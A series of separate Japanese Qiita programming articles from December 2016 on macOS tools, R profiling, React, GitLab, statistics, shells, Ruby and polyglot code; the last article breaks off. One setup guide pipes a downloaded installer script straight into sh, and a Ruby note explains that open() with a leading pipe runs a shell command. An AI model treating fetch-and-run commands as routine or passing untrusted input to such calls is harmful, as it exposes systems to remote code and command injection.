OmniAICreator/Qiita-1.07M huggingface dataset:
[macOS] コマンドラインからゴミ箱へ削除するスクリプトを書きました

これは，Qiita [Shell Script Advent Calendar 2016](http://qiita.com/advent-calendar/2016/shell-script) の 11 日目の記事です。
担当は @hiroyuki_jp です。

---

## きっかけ（お急ぎの方は飛ばしてください）

ファイルやディレクトリを削除できる，`rm` や `rmdir` といった便利なコマンドがあります。
みなさんよく使うと思うのですが，一般的に，これらのコマンドで消したファイルは復元するのが難しいと思います。

一方，Windows や macOS，その他の主要なシステムでは「ゴミ箱」が用意されており，こちらに捨てたファイルは，ゴミ箱を空にしない限り簡単に元の場所に戻すことができます。
削除したファイルを復元できることには大きな安心感があります。

macOS では，ゴミ箱の場所は `~/.Trash` です。
ところが，単純に `mv <file> ~/.Trash` しても，下図のようにコンテキストメニューに「戻す」が出てきません。

<img width="500" alt="Just move to ~/.Trash" src="https://qiita-image-store.s3.amazonaws.com/0/126427/07cc40b2-45e3-5954-ef9a-c266cf3112c6.png">

そこで，コマンドラインから，指定したファイルを（「戻す」機能に対応させたまま）ゴミ箱に削除するコードを，シェルスクリプトで書いてみました。

## ツール：`trash` をつくりました

MIT ライセンスで公開しています。[リポジトリはここです](https://github.com/h-matsuo/macOS-trash)。

内部で簡単な AppleScript を動かしています。
実装はソースコードを見ればすぐ分かると思うので（初心者が書いたコードですので……；＾＾），以下では導入方法と使い方を紹介します。

### インストール

スクリプトファイルをダウンロードし，`/usr/local/bin` に配置してください。
次のコードを実行すれば一発で入ります。

```sh
$ curl -O https://raw.githubusercontent.com/h-matsuo/macOS-trash/master/trash; chmod +x trash; mv trash /usr/local/bin
```

※ 本ツールは macOS 専用です。

### 使い方

Usage は次の通りです。

```sh
$ trash [-r] <file>...
```

`<file>` に削除したいファイルを 1 つ以上指定します。ディレクトリの場合は，`-r` オプションを付けます。
この辺りの使い方は `rm` コマンドと同じです。

相対パスを指定しても大丈夫です：

```sh
$ trash ../tmp/*
```

### 元に戻すときは？

現状，コマンドラインから元に戻す機能には対応しておりません。
元に戻すときは Finder.app から行ってください。

<img width="500" alt="Put back from trash" src="https://github.com/h-matsuo/macOS-trash/wiki/images/put_back.png">

---

以上，作ってみたツールのご紹介でした。

ちゃんとシェルスクリプトを書いたのは初めてなので，ご意見等あればぜひお願いします。
RStudioのProfileを使ってみる

RStudio v1.0から正式サポートされた機能の中に、profvisを使ったパフォーマンスプロファイリングがあります。
ここでは、このprofileに関してさっくり触れてみたいと思います。

# 何ができるの？
解析対象のソースに対して、行単位or呼び出される関数単位でメモリの消費と処理時間を計測することができます。
行単位の結果はFlame Graphタブ、関数の呼び出し毎の結果はDataタブで見ることができます。

※ちなみに、ほぼ10msec程度で処理が終わるようなものは、プロファイラが処理を拾えないので何もできないので、ご注意を。。。

# 実際にプロファイリングしてみましょう
ということで、実際にやりつつ詳しく追ってみましょう。
今回はテストで次のようなスクリプトをまずは走らせてみましょう。
この例は、Rで処理が遅くなるのでやっちゃダメな典型例としておなじみの
ベクター処理が可能なものをfor分で処理したケースです。

```r
n <- 7

# パターン1
# Cなんかでやってると普通だけど、
# Rの言語特徴的にダメダメなやり方
x <- 1:(10^n)
for(i in 1:length(x)){
 x[i] <- x[i] + 1
}
```

こんな感じで、ソースの行を選択して**Profile Selected Lines**を選択すると、プロファイリングが開始します。
![004.jpeg](https://qiita-image-store.s3.amazonaws.com/0/99086/9acb0cce-37a2-2257-b432-96b9b344ef97.jpeg)

選択した行の処理が全て終わると次のように、プロファイリング結果表示画面が自動的に出てきます。
![003.jpeg](https://qiita-image-store.s3.amazonaws.com/0/99086/f77abb1c-28cb-b062-efe4-d005f580acbb.jpeg)

上のパネルでは**Flame Graph**と**Data**という2つのタブがあります。
自動的に開かているはずのFrame Graphでは、行単位でのメモリ・処理時間の分析結果が表示されてますね。

下の部分には10ms単位でどんな処理が走っていたかが表示されます。
![Dec-11-2016 00-00-02.gif](https://qiita-image-store.s3.amazonaws.com/0/99086/005b8742-6e7d-8d04-a294-ba244c0ccfb9.gif)
マウスオーバーすると、より詳細が見ることができます。

処理のバー部分をダブルクリックすると、その部分をズームして見ることができます。
![Dec-11-2016 00-02-48.gif](https://qiita-image-store.s3.amazonaws.com/0/99086/a9f23849-c69d-0832-66db-9321cb83f0eb.gif)

今回の例の実行結果を見ると、各配列の要素に加算をしている間で
ちょくちょくガーベジコレクションが働いていてパフォーマンスが低下しているのがわかりますね。


では、さきほどの処理と同じものをRらしくベクター処理として計算するとどうなるか、試してみましょう。
流すスクリプトは次の通りで、プロファイリングのやり方は一緒です。

```r
# パターン2
# Rでは本来こうやるべきな書き方
x <- 1:(10^n)
x <- x + 1
```
実行結果はこうなります。
![005.jpeg](https://qiita-image-store.s3.amazonaws.com/0/99086/b8bd5503-fbb0-61ae-fd78-07ec06d770f2.jpeg)

パターン1と比べると処理時間が14410msから70msへ約200倍早くなってるのがわかりますね。
また、メモリ最大消費部分も倍近く違いがあるのがわかりますね。
また、処理の途中はガーベジコレクションが一切働いていないので、なぜforを使わない方が効率の良いのかがよくわかりますね。

さて、実際の処理では同じ関数をいろんなところで複数回呼び出すというケースが考えられますね。
そういう場合はDataタブを使う方が良いはずです。
Dataタブでは、どのコールで処理に時間が食っているか、関数の呼び出し関係から見る事が出来ます。

といっても、ピンと来ないと思うので次のようなテストスクリプトを流して結果を見てみましょう。
これは、パターン1とパターン2をわざと関数化して処理しているだけです。

```r
add_me <- function(x1, x2){
 return(x1+x2)
}

x <- 1:(10^n)
for(i in 1:length(x)){
 x[i] <- add_me(x[i], 1)
}

x <- 1:(10^n)
x <- add_me(x, 1)
```

この実行結果をDataタブで見てみると。。。
![006.jpeg](https://qiita-image-store.s3.amazonaws.com/0/99086/ad0eae9d-88d1-4583-9f4e-3a111d21aa86.jpeg)
add_me関数の呼び出しと、その中でさらに評価されている関数たちのメモリ・CPU消費具合の合計が見えます。
ここでは、処理結果を変数に入れている部分が結局のところ高価な処理になってるみたいですね。


ここで、実験的にパイプを使ったコードを評価するとどうなるか？を試してみましょう。
テストスクリプトは先程のケースで使った関数と、magrittrを使って次の通りのを試してみましょう。

```r
x %>% add_me(1)
```

![007.jpeg](https://qiita-image-store.s3.amazonaws.com/0/99086/6d0d3f6f-367e-7253-ee41-c8d8476d1fac.jpeg)

![008.jpeg](https://qiita-image-store.s3.amazonaws.com/0/99086/5ddded09-456d-687d-c84b-d044e16e4461.jpeg)

おやおや、随分と複雑になってしまいましたね。。。
パイプ演算子の中身をズルズルっと評価して表示しているため、仕方ない状況なわけですね。
とは言え、関数の呼び出しが複雑なものの、メモリ消費や処理速度は今までの中で最も優れているのはわかりますね。

こんな感じで何だか処理が重いなーという時は、Profileを立ち上げて
コードの臭い部分をささっとあぶり出して、より効率の良い分析作業に繋げていきましょう！！

ENJOY!
みんな大好き create-react-app で 脱獄せずに stage-0 を使いたい

## 概要
みんな大好き `create-react-app` で、脱獄せずに `stage-0` を使いたい

## 復習
`create-react-app` は以下のように使うのでした。

```
$ npm install -g create-react-app
$ create-react-app YOUR_APP
$ cd YOUR_APP
$ npm start
```
なんと!!たったこれだけで React アプリの原型が出来上がるとは！！ というのが、`create-react-app`です。

## 問題

`create-react-app` は 設定いらず がコンセプトなので、諸々の設定をカスタマイズすることができません。

どうしてもカスタマイズしたい場合は、以下の「禁断の脱獄コマンド」を打つ必要があり、もう二度と、この世界に戻ってくることは出来なくなるそうです。

```
$ npm run eject
```

さて、React を ES6(class)で書く時、 以下のように、いくつかの修正が必要でした。

 - getInitialState() は constructor で
 - getDefaultProps() は クラス変数 defaultProps で
 - propTypes は クラス変数 propTypes で


ES6 で書いた例は、以下のようになります。

```
import React, {Component, PropTypes} from 'react';

class AnswerRadioInput extends Component {

  constructor(props) {
    super(props);
    this.state = {
      checked: !!this.props.checked,
      id: this.props.id || 'radio-',
    };
  }

  render() { ... }
}

AnswerRadioInput.propTypes = {
  id: PropTypes.string,
  name: PropTypes.string.isRequired,
  value: PropTypes.string.isRequired,
  checked: PropTypes.bool,
};

AnswerRadioInput.defaultProps = {
  id: null,
  checked: false,
};

export default AnswerRadioInput;
```

その際、クラス変数 は static で記述したいところですが、以下のように Bebel のプラグインを追加する必要がありました。

```
$ npm install --save-dev babel-preset-stage-0
```
```json:.babelrc
{
  "presets": ["stage-0"]
}
```

嗚呼、`state-0` は使いたいが、禁断の `eject` はしたくない。

## 回避策

`react-scripts` を、(強引に)書き換えます。

`node-modules/react-scripts/config` にある `webpack.config.dev.js` を、以下のように、`stage-0` も使うように書き換えちゃいます。

リリースビルド用は、`webpack.config.prod.js`です。

[修正前]

```
  presets: [require.resolve('babel-preset-react-app')],
```

[修正後]

```
  presets: [
    require.resolve('babel-preset-react-app'),
    require.resolve('babel-preset-stage-0'),
  ],
```

先ほどの例を、stage-0 で書き換えたら、以下のようになります。

```
import React, {Component, PropTypes} from 'react';

class AnswerRadioInput extends Component {

  static propTypes = {
    id: PropTypes.string,
    name: PropTypes.string.isRequired,
    value: PropTypes.string.isRequired,
    checked: PropTypes.bool,
  };

  static defaultProps = {
    id: null,
    checked: false,
  };

  constructor(props) {
    super(props);
    this.state = {
      checked: !!this.props.checked,
      id: this.props.id || 'radio-',
    };
  }

  render() { ... }
}

export default AnswerRadioInput;
```

そうこれこれ。キレイになりました。


## まとめ
 - `create-react-app` から脱獄せずに、かつ、`stage-0` を使うために `react-scripts` を書き換えました。
 - それなら fork しろ、という話もありますが、そのリポジトリのメンテナンスはしたくないからです。

 - きっとそのうち、`create-react-app` のデフォルトで取り込まれるだろうと思います。

## 追記
 - fork しました。  
   https://github.com/exabugs/create-react-app

```
$ git clone https://github.com/exabugs/create-react-app
$ cd create-react-app
$ npm install
$ tasks/cra.sh YOUR_APP
$ cd YOUR_APP
$ npm start
```
YOUR_APP は create-react-app/ 下に作成されるので、適当な場所に移動して下さい。
GitLab で Docker イメージの管理

[GitLab](https://about.gitlab.com/)のバージョン8.8からDockerコンテナイメージの管理機能の[コンテナレジストリ](https://about.gitlab.com/2016/05/23/gitlab-container-registry/)が追加されました。
現在(2016/12/11)は、バージョン8.14がでています。

企業で使用する場合、外部に公開できないとか事情などで、プライベートなDocker Registryを検討する機会があると思う。

そんなときに、
・無料で使える
・オンプレのサーバに導入できる
・導入が簡単
・会社で使ってるLDAPが使える
・gitリポジトリ毎にコンテナイメージが管理できる
ので、GitLabのコンテナレジストリをおすすめします。

導入する前に、お試しで利用する場合、
[本家が提供してるGitLab](https://gitlab.com/users/sign_in)で、
無料でプライベートリポジトリが作成できます。


## 導入方法

### omnibus版の場合

この辺を設定すると、コンテナレジストリが使用できる。
楽ちんである。
※omnibus版GitLabがインストール済の想定

```ruby:/etc/gitlab/gitlab.rb
###############################
# Container registry settings #
###############################

registry_external_url 'https://registry.example.com'

(省略)

##################
# Registry NGINX #
##################

registry_nginx['ssl_certificate'] = "/certs/registry.crt"
registry_nginx['ssl_certificate_key'] = "/certs/registry.key"
```

### ソースから頑張ってGitLabを入れた場合

以前書いた記事を参考にしてください。
[DockerのプライベートレジストリとしてGitLabのContainerRegisryを使う](http://qiita.com/suesan/items/7fde092df0c5f9cc48d6)

## 参考記事
http://qiita.com/suesan/items/7fde092df0c5f9cc48d6
http://qiita.com/suesan/items/dbfd86b88b1fd2bc8e7b
http://qiita.com/masakura/items/802f4b8ce322d2543c80
https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/user/project/container_registry.md
ポアソン分布を和で条件付けすると二項分布となる

　[数学 Advent Calendar 2016](http://qiita.com/advent-calendar/2016/math)の11日目の記事です。
　前日（10日）夜に空きを見つけたので飛び入りで参加します！

　急ぎ足になってしまいますが早速……。

## ポアソン分布を和で条件付けする

　ポアソン分布は平均λで決定される分布で、カウントデータをモデル化する際に登場します。確率質量関数は次の通り。

```math
P(X=k) = \frac{\lambda^k e^{-\lambda}}{k!} \tag{1}
```

　$X_1$と$X_2$が独立にそれぞれポアソン分布に従うとします。

```math
X_1 \sim \text{Poisson}(\lambda_1) \\
X_2 \sim \text{Poisson}(\lambda_2)
```

　このとき、$X_1$と$X_2$の和もまたポアソン分布に従うこと（和に関する再生性）が知られています。

```math
W = X_1 + X_2 \\
W \sim \text{Poisson}(\lambda_1 + \lambda_2)
```

　$X_1$と$X_2$は互いに独立としましたが、$X_1$と$W$や、$X_2$と$W$は独立にはならないので、$W$で条件付けしたときの分布がどうなるか考えてみます。
　言い換えれば、ポアソン分布に従う変数の和の値nが分かっているときの分布です。
　結論からいうと二項分布なのですが、これを数式で示します。

## 条件付き確率

　条件付き確率についておさらいしましょう。
　事象Bであるときの事象Aの確率を、$P(A \mid B)$と表します。高校数学の教科書に$P_B(A)$と書いていたやつです。後ろが条件付けにあたるのに注意してください。
　条件付き確率では以下の式が成り立ちます。このように定義しているというべきですが……。

```math
P(A \cap B) = P(A \mid B)\,P(B)　または　P(A \mid B) = \frac{P(A \cap B)}{P(B)} \tag{2}
```

## もとの話に戻る

　問題にしていたのは$W = n$のときの$X_1$の分布、つまり$P(X_1=k \mid W=n)$です。
　上記の関係式(2)より、

```math
P(X_1=k \mid W=n) = \frac{P(X_1=k　かつ　W=n)}{P(W=n)} \tag{3}
```

　ここから右辺の分子を変形していきます。
　$W$は$X_1$と$X_2$の和なので、

```math
P(X_1=k　かつ　W=n) = P(X_1=k　かつ　X_2=n-k)
```

　さらに、$X_1$と$X_2$は互いに独立なので、

```math
P(X_1=k　かつ　X_2=n-k) = P(X_1=k)\,P(X_2=n-k)
```

　したがって式(3)は、

```math
P(X_1=k \mid W=n) = \frac{P(X_1=k)\,P(X_2=n-k)}{P(W=n)} \tag{4}
```

のように表すことができました。

　ここまで来れば、あとは右辺の確率部分をポアソン分布の確率質量関数で置き換える単純作業です。
　ポアソン分布の確率質量関数(1)より、

```math
P(X_1=k) = \frac{{\lambda_1}^k e^{-\lambda_1}}{k!} \\
P(X_2=n-k) = \frac{{\lambda_2}^{n-k} e^{-\lambda_2}}{(n-k)!} \\
P(W=n) = \frac{(\lambda_1 + \lambda_2)^n e^{-(\lambda_1 + \lambda_2)}}{n!} \\
```

　これらを式(4)に代入して整理します。

```math
P(X_1=k \mid W=n) = \frac{n!}{k!\,(n-k)!}\frac{{\lambda_1}^k{\lambda_2}^{n-k}}{(\lambda_1 + \lambda_2)^n} \tag{5}
```

　指数関数が分子と分母で相殺されて綺麗に消えました。
　後ろの分数部分をもうちょっと変形していきます。

```math
\frac{{\lambda_1}^k{\lambda_2}^{n-k}}{(\lambda_1 + \lambda_2)^n} = \frac{{\lambda_1}^k{\lambda_2}^{n-k}}{(\lambda_1 + \lambda_2)^k(\lambda_1 + \lambda_2)^{n-k}} = \left(\frac{\lambda_1}{\lambda_1 + \lambda_2}\right)^k\left(\frac{\lambda_2}{\lambda_1 + \lambda_2}\right)^{n-k}
```

　よって、

```math
P(X_1=k \mid W=n) = {_n}\mathrm{C}_k\left(\frac{\lambda_1}{\lambda_1 + \lambda_2}\right)^k\left(\frac{\lambda_2}{\lambda_1 + \lambda_2}\right)^{n-k} \tag{6}
```

と、二項分布の確率質量関数になりました。$\frac{\lambda_2}{\lambda_1 + \lambda_2} = 1 - \frac{\lambda_1}{\lambda_1 + \lambda_2}$となるのがミソです。

　最後に結論！

```math
X_1 \mid W=n \sim \text{Binomial}\left(n,\ p = \frac{\lambda_1}{\lambda_1 + \lambda_2}\right)
```

## 一般化

　以上の議論を多変量に一般化すると次のことがいえます。（証明は割愛します、、）

　$\\{X_1, \ldots, X_m\\}$が互いに独立なポアソン分布に従うとき、$W = \sum X_i$もポアソン分布に従う。$W$で条件付けした同時分布は多項分布で、その確率パラメータは、$\left\\{p_i = \frac{\lambda_i}{\sum \lambda_i}\right\\}$となる。

```math
X_1, \ldots, X_m \mid W=n \sim \text{Multinomial}(n, p_1, \ldots, p_m)　ただし　p_i = \frac{\lambda_i}{\sum \lambda_i}
```

　もっと直観的には、次の二つの方法が実質同じという意味です！

- ポアソン乱数で$\\{X_1, \ldots, X_m\\}$を生成し、合計がnになったものを抜き出す
- あらかじめnを与えて多項乱数で$\\{X_1, \ldots, X_m\\}$を生成する
[mac]おすすめコマンドライン環境

# iTerm2とzshをインストール
macでは、デフォルトでは`ターミナル`というアプリが入っています。
デフォルトの環境だと、`bash`というシェルがターミナルによって機動します。

今回は、コマンドライン環境としてより使い勝手のいい`iterm2`を入れます。
機動させるシェルは、`zsh`に変更させます。
`zsh`にする理由は、コマンドラインでの補完処理やテーマなどを変えられるなどの機能が充実しているためです。

# 環境
- sierra 10.12.1
- MacBook Pro (Retina, 13-inch, Early 2013)

# iterm2
## iterm2のインストール
- 下記サイトのDownloadからダウンロードしてインストール
http://www.iterm2.com/#/section/home
- メニューバーの`Check For Update`をクリックして、最新のバージョンにupdate
<img width="361" alt="Screen Shot 2016-12-10 at 22.09.18.png" src="https://qiita-image-store.s3.amazonaws.com/0/121224/b80ea0be-0297-45fc-3a51-a3938b40bf61.png">

## 設定
- 画面サイズを設定

iTerm2 -> Profile のprofilesのwindowで設定できます

## 便利機能
- ワンタッチでiterm2を開く
iTerm2 -> Profile のkeysで下記の赤枠部分を設定。
好みでコマンドを設定できます。
<img width="1049" alt="Screen Shot 2016-12-10 at 22.54.03.png" src="https://qiita-image-store.s3.amazonaws.com/0/121224/4d33b211-0aaf-a7d2-533c-be4d9f1ad3a7.png">

- 機動した時に開くディレクトリを設定する。
 1. 保存したい状態をiTermで作り、保存する。
window -> Save Window Agument
 2. 保存したwindowの状態をデフォルトに設定する。
iTerm2 -> Profile のProfiles
<img width="1030" alt="Screen Shot 2016-12-10 at 23.18.39.png" src="https://qiita-image-store.s3.amazonaws.com/0/121224/3b40c6e7-1a02-0343-0652-6b3c02501036.png">


## よく使うショートカット
### window操作系
 - `cmd-n`（window新規作成）
 - `cmd-t`（tab新規作成）
 - `cmd-w`（tab削除）
 - `cmd-d`  （縦画面分割でtab新規作成）
 - `cmd-shift-d`  （横画面分割でtab新規作）
 - `cmd-z`  （削除したtabの復旧（5秒以内））

### 移動系
 - cmd-[番号]  （指定した番号のtabを開く）
 - `cmd-alt-→`  （右のタブに移動）
 - `cmd-alt-←`  （左のタブに移動）
 - `cmd-shift-[`  （左のtabに移動（画面分割時））
 - `cmd-shift-]`  （右のtabに移動（画面分割時））

### 便利機能系
 - `cmd-f`  （検索）
 - `cmd-shift-h`　（クリップボード機能）

# zsh
## zshをインストール・設定
- インストール
デフォルトでmacには入っていますが、最新版をインストール

```
$brew install zsh
$brew install zsh-completions
```
- 設定
zshをシェルとして開ける様に、
`/etc/shells`に`/usr/local/bin/zsh`を追加する

```
# List of acceptable shells for chpass(1).
# Ftpd will not allow users to connect who are not using
# one of these shells.

/bin/bash
/bin/csh
/bin/ksh
/bin/sh
/bin/tcsh
/bin/zsh
/usr/local/bin/zsh
```
デフォルトで機動するシェルを設定

```
$chsh -s /usr/local/bin/zsh
```
再起動で確認できます。

## oh-my-zshでテーマ設定
- インストール

```
$curl -L https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh | sh
```
- 設定

`~/.zshrc`に設定を記述する。

```
ZSH_THEME="robbyrussell"
```

`source`コマンドで設定を再度読み込ませるとテーマが適用される。（再起動するだけでもok）

```
`$source ~/.zshrc`
```

- その他環境によっての設定
環境にあったセットアップをする必要がある場合は、他にも追記します。
下記を参考にしてみて下さい。
https://github.com/hkengo/.zshrc/blob/master/.zshrc

# 参考
> http://qiita.com/koh110/items/b7e9471330308fdb7250
> https://codeiq.jp/magazine/2014/01/5143/
> http://qiita.com/g_ryotaro/items/a45bb061da7684ea24fd
Git tag打ちのメモ（作成、確認、push、削除）

# tagの打ち方

- タグ作成
<pre>
git tag -a 1.0.0 -m 'コメント'
</pre>

- タグ確認
<pre>
git tag
</pre>

- tagをpush
<pre>
git push --tags
</pre>

- タグを削除
<pre>
git tag -d [タグ名]
git push origin :refs/tags/[タグ名]
<pre>
MacでMicrosoftのログインページやOffice.comを開くとフォントがキモい

# フォントがキモい

## Microsoftのログインページ
Macで、Microsoftのログインページが気持ち悪い感じになる。

![Malgungothic.png](https://qiita-image-store.s3.amazonaws.com/0/103086/6eea13a5-8341-61d7-ae9e-91c39c82a762.png)

なんだこの**MSゴシックを二晩干して塩漬けにしたようなフォント**は！

Chromeのインスペクタによると、**Malgun Gothicという、韓国語のフォント**らしい。

## Office.com
Office.comもこんな感じ。
![msgothic.png](https://qiita-image-store.s3.amazonaws.com/0/103086/9fc71141-81b3-78ce-fcbb-8962ce771e09.png)

これは一般的な**MSゴシック**。

# 調べてみた
font-familyがどんな設定になっているかというと、

```css:ログイン画面
"Segoe UI Webfont",-apple-system,"Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"
```

```css:Office.com
"Meiryo UI", "MS UI Gothic", "MS PGothic", "�l�r �o�S�V�b�N", "MS Gothic", "�l�r �S�V�b�N", sans-serif, "Segoe UI Light", "Segoe WP Light", "Segoe UI", Segoe, "Segoe WP", "Helvetica Neue", Roboto, Helvetica, Arial, Tahoma, Verdana;
```
（文字化けしてる…）

ということで、**Meiryo UIを入れれば解決することが分かる**。

# 解決方法
**WindowsからMeiryo UIのフォントをコピーしてインストールする。**

ところで、僕はOffice for MacをインストールしているせいでMS Gothicが入っていたようなのだけど、
どうしてMeiryo UIを一緒に入れてくれなかったのだろうか…

そしてどうしてHiraginoを一切指定しないのだろう…

# きれい

![meiryo.png](https://qiita-image-store.s3.amazonaws.com/0/103086/98073d97-9b26-6350-edbe-d4dd666bd6a6.png)

メイリオは美しい。
横浜rb #75

# レシピブック 240

## mac で ruby で fiddle で cat

```ruby
#MacOS で fiddle で cat
require "fiddle/import"

module Libc
  extend Fiddle::Importer
  dlload "/usr/lib/libSystem.B.dylib"
  extern "FILE * fopen( char *, char* )"
  extern "int fgetc(FILE*)"
  extern "int fclose(FILE*)"
  EOF=-1
end

def cat(path)
  fp=Libc.fopen( path, "r" )
  while( ( c=Libc.fgetc(fp)  ) !=  Libc::EOF ) do
    print c.chr
  end
  Libc.fclose(fp)
end

ARGV.each do |path|
  cat path
end
```

## レシピブック 241

`sleep` の返戻値が無意味な感じ。
毎回違うけど、手元で動かしたらこんな感じ：

```ruby
10.times.map{ sleep 0.4 } #=> [1, 0, 0, 1, 0, 1, 0, 0, 1, 0]
```

## レシピブック 242

ベンチマークは Benchmark.bmbm がお勧め。

```ruby
require 'benchmark'

M=10000
N=1000000

Benchmark.bmbm do |x|
  x.report("power") { M.times{ 2**N+2**(N+1)} }
  x.report("shift") { M.times{(1<<N)+(1<<(N+1))} }
end
```

```
Rehearsal -----------------------------------------
power   2.420000   1.020000   3.440000 (  3.450832)
shift   0.590000   0.340000   0.930000 (  0.921296)
-------------------------------- total: 4.370000sec

            user     system      total        real
power   2.350000   0.880000   3.230000 (  3.238570)
shift   0.540000   0.240000   0.780000 (  0.772868)
```

と、リハーサルが走ってから本番を測る。

意外と速度に差がある。

## レシピブック 243

邪悪な open の使い方

```ruby
open("|df -k", "r") do |s|
  p s.gets
end
```

`open` の引数の冒頭に `|` を書くと、コマンドの実行になる。こわい。

これを避けるために、 `File.open` と書くと安全。

それと。
`Open3` は windows でも使える。いつからなのかは不明。

## ペパボの研修

http://tech.pepabo.com/2016/12/08/pepabo-college-1st/

素晴らしい。羨ましい。

## AWS

自分用メモ：Amazon Rekognition を調査する。

## Load Average

* http://qiita.com/k0kubun/items/8065f5cf2da7605c8043
* http://qiita.com/toshihirock/items/c121400dd58c5d77f85a

辺りが参考になる。
Ruby Python JavaScript C どの言語でも動くコードを書こう

[Okinawa.rb Advent Calendar 2016](http://qiita.com/advent-calendar/2016/okinawarb) 11日目

1つのソースでいろんな環境で動かさなきゃいけないときの参考になれば、と思い、Ruby Python JavaScript C どの言語としても解釈できるコードを書いてみました。

```
Ruby: 2.3.1
Python: 3.5
JavaScript: node v6.0.0
GCC: Apple LLVM version 8.0.0 (clang-800.0.38)
```

## RubyとPythonの違い
rubyには`%i(xxx yyy zzz)` → `[:xxx, :yyy, :zzz]`という記法がありますが、
同じことを `%i|xxx yyy zzz|` や `%i+xxx yyy zzz+` とも書けます。

```ruby
i %i+i;#+
```
このコードは、Rubyだとiメソッドに配列を渡している `i([:"i;#"])` と解釈されます(変数iが定義されてる場合は別)
一方Pythonだと、普通に `i % i + i` と解釈されます


これとRubyの`__END__`、Pythonの `"""複数行文字列"""` を組み合わせたRubyでもPythonでも動くコードがこちら

```ruby
1 or i %i+i;"""#+
  ruby_code
__END__
"""
python_code
```

## CとJavaScriptの違い
CもJavaScriptも `//` `/**/` の2種類のコメントが使えますが、`\`を入れた時の若干解釈が違うようでした
(ここはコンパイラで変わったりするかも?)

```c
//\
/*
c_code, javascript_comment
//*/
```


コメントの違いとCのマクロを組み合わせたCとJavaScript両方で動くコードがこちら

```c
//\
/*
  c_code
#define s(s) 0
int b = s(//*/
  javascript_code
//\
(0
);
```

```javascript
//\
/*
  c_code
#define s(s) 0
int b = s(//*/
  javascript_code
//\
(0
);
```

最後に、Ruby or Python と C or JavaScriptで分岐させることができれば、4言語全てで動くコードを作れます

```c
a=1//1;"""/.__id__;%
;
  js or c
/*
]#"""
  ruby or python
#*/
```

```ruby
a=1//1;"""/.__id__;%[
;
  js or c
/*
]#"""
  ruby or python
#*/
```

C, JavaScriptでは`//`と`/* */`がコメントとして
Pythonでは 整数での除算`1//1`と`"""複数行文字列"""`
Rubyでは `1 / (正規表現).__id__`と`%[複数行文字列]`
として解釈されてます。
(Cで`a=1;`は型を書いてないのでwarningが出ますが、intということにされて動く)


全部まとめた完成形がこちら

```sh
$ ruby hello.rb.py.js.c && python hello.rb.py.js.c && node hello.rb.py.js.c && gcc hello.rb.py.js.c && ./a.out && echo OK
```

```C
a=1//1;"""/.__id__;%[\
/*
;//c code
#include <stdio.h>
int main(){
  for(int i=0;i<10;i++)printf("c %d\n",i);
  printf("hello c\n");
}
#define s(s) 0
b=s(//*/
//javascript code
for(var i=0;i<10;i++)console.log("js "+i);
console.log("hello js");
//\
(0
);/*]#"""
1 or i %i+i;"""+
#ruby code
10.times{|i|puts "ruby #{i}"}
puts 'hello ruby'
__END__
"""
#python code
for i in range(10):
    print("python "+str(i))
print("hello python")
#*/
```

本当はもうちょっと増やしたかったけど断念。
go→`package` swift→`let var` perl→`$ @ %` php→`$` あたりが難しそう

個人的には `i %i+xxx#+` の解釈がローカル変数iが定義されてるかどうかで変わるのが面白かった。

```ruby
[1] pry(main)> i %i+xxx#+
# i([:"+xxx#"])と解釈されて
# NoMethodError: undefined method `i' for main:Object
[2] pry(main)> i=1
=> 1
[3] pry(main)> i %i+xxx#+
# i変数があると i % i + xxxと解釈されて
# NameError: undefined local variable or method `xxx' for main:Object
```
PostgreSQL 9.6 psqlの動作の非互換

# PostgreSQL 9.6 psqlの非互換

PostgreSQL 9.6がリリースされてから２ヶ月以上経ちました。9.6でpsqlの動作が変わる変更が入っていることにお気づきでしょうか？

PostgreSQL 9.6の[リリースノート](http://www.postgresql.jp/document/9.6/html/release-9-6.html)にpsqlの変更点として以下のように書いてあります。

```
psqlの-cオプションはもはや--no-psqlrcの意味を含まなくなりました。

古い動作を得るには--no-psqlrc（または短縮形の-X）を明示的に書いてください。
 このように修正されたスクリプトは古いバージョンのpsqlでも引き続き動作するでしょう。
```

な、なんだってー

つまり、今まで `psql -c "SELECT * FROM hogehoge;"` と書いていたコマンドがpsqlrcファイルによって動作が変わってしまいます。
シェルスクリプトなんかで使用する時は-Xを入れておく方が良いでしょう。

まあ、psqlrcを読んでもそれほど影響無いかな...と思っていると、元々あった動作と組み合わさって以外な動作をすることになります。

例えば ~/.psqlrc に以下の文を入れていたりすると

```
\pset format wrapped
```

```
psql -Pformat=asciidoc -c "select *from test;" testdb
```

とasciidoc形式で出力しようとしても出力されません。

## オプションの方が優先でない？？？

そーなんです。ずっと前のバージョンからpsqlはpsqlrcの方がオプションの後で解釈されるようになっていてオプションより優先されるようになっちゃっているのです。

-Xを付けるか、他のpsqlrcの内容を活かしつつ上記の変更をしたい場合、以下のようにすると出力されます。

```
psql -c "\pset format asciidoc" -c "select *from test;" testdb
```

そうなっちゃってるのはしょうがないので、とりあえず注意しましょう！
ownCloud のCardDAVを使ったiPhone アドレス帳連携システム事例

ownCloud Japan Advent Calendar 2016 - Qiita
http://qiita.com/advent-calendar/2016/owncloudjp
11日目です。

![image](https://qiita-image-store.s3.amazonaws.com/0/15176/253ba86d-5905-8f4c-1f74-12895b1b6982.png)
# 1. ownCloud のCardDAVを使ったiPhone アドレス帳連携システム

iPhoneを企業導入して複数台管理すると連絡帳の管理が大変でこまっていました。
手作業の手間とMDMツールを使った配布も手動で行っていました。

# 2. 既存のiPhone連絡先管理方法
![image](https://qiita-image-store.s3.amazonaws.com/0/15176/63bbf106-f0f6-b452-ed3e-903efb099746.png)

* MDMツールでCardDAVファイルをiPhoneに手動で配布
* CardDAVファイルの修正が頻繁だった。
* 配布にも時間がかかっていた。

![image](https://qiita-image-store.s3.amazonaws.com/0/15176/b1d6534f-d478-d511-07f7-13fc4ec0cc33.png)

# 3. ownCloud アドレス帳アプリ

![image](https://qiita-image-store.s3.amazonaws.com/0/15176/0462e4c6-2de6-72e3-9ed7-ecf8c7b21f12.png)

# 4. 連絡先配信システム

1. SQL ServerからownCloudサーバDBの連携用テーブルに更新
